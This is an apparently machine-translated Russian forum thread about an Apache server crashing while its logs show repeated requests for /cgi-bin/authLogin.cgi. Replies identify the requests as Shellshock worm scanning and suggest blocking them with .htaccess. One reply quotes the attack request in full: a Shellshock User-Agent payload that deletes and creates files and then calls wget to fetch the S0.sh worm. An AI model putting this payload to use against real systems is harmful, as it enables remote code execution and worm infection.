Сервер Apache http перестал работать
Привет, друзья,
Я использую сервер Ampps с php 5.3.29 в центре данных сервера Windows.
к сожалению, я получаю следующее приглашение на сервере Windows и мой сайт не работает.
Название подсказки: Microsoft Windows
Подсказка: http-сервер Apache перестал работать.
Из-за проблемы программа перестала работать правильно. Windows закроет программу и уведомит вас, если решение доступно.
Трассировка:
Когда я отслеживал ошибки и обращался к журналам, я нашел следующие журналы как причину.
В журнале доступа Apache:
202.175.83.36 - - [10 / Dec / 2014: 05: 58: 50 -0500] "GET /cgi-bin/authLogin.cgi HTTP / 1.1" 404 1335 217.248.177.30 - - [10 / Dec / 2014: 06: 11:24 -0500] "GET /cgi-bin/authLogin.cgi HTTP / 1.1" 404 1335 209.153.244.6 - - [10 / Dec / 2014: 07: 09: 17 -0500] "GET / cgi-bin / authLogin.cgi HTTP / 1.1 "404 1335 81.214.132.245 - - [10 / Dec / 2014: 07: 25: 04 -0500]" GET /cgi-bin/authLogin.cgi HTTP / 1.1 "404 1335
В журнале ошибок Apache:
[Ср. 10 07:25:04.401073 2014] [cgi:error] [pid 2908:tid 1168] [клиент 81.214.132.245:36246] сценарий не найден или не может выполнить статистику: D:/Program Files/Ampps/www/cgi-bin/authLogin.cgi
Пожалуйста, помогите мне.
4 ответа
Есть веб-бот, пытающийся получить полномочия, чтобы он мог wget и выполнить что-то вроде S0.py, который, как мне кажется, является червем, поэтому сервер загрузки скомпрометирован. Я хотел бы получить копию S0.sh, если вы случайно ее получили, и дайте ей использовать exploit-db или что-то в этом роде. Умная команда: Get /cgi-bin/authLogin.cgi HTTP/1.1.Host: 127.0.0.1.User-Agent:() {:; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../php && /usr/bin/wget
Файл выполняется после загрузки. Я полагаю, что-то есть в HDB_DATA, чего у меня даже нет. "Информация имеет первостепенное значение!"
Наконец я запретил этим клиентам доступ к каталогу cgi-bin.
в каталоге cgi-bin я создал файл.htaccess
Я добавил следующую строку в.htaccess
Отрицать все.
Если вы попытаетесь открыть этот файл, что произойдет?
D: / Program Files / Ampps / www / cgi-bin / authLogin.cgi
Сообщение указывает, что файл не существует, на что указывает ошибка 404 и сообщение "скрипт не найден".
Я не думаю, что authLogin.cgi действительно имеет значение, кроме того, что он может позволить кому-то выполнить. Проблема в том, что пользователь пытается или успешно удаляет /tmp/S0.sh и создает каталог php в папке общего доступа, а затем выполняет wget.
/ bin / rm -rf /tmp/S0.sh && / bin / mkdir -p /share/HDB_DATA/.../php && / usr / bin / wget
Вот что пришло в голову после всего этого времени удивления: http://jrnerqbbzrq.blogspot.com/2014/12/a-little-shellshock-fun.html
"S0.sh состоит из двух основных частей... первая часть выполняет первоначальную настройку и загружает дополнительные программы, а затем вторая часть устанавливает червя и выполняет некоторые дополнительные команды".
Так что ловить это действие было настоящим праздником, и поначалу никто не знал, что это Шеллшок. Там есть копия S0.sh, и вы можете видеть, что это червь, как я и предполагал.
Из того, что я прочитал, червь просто просматривает пространство IP в поисках любого, кто слушает порт 8080.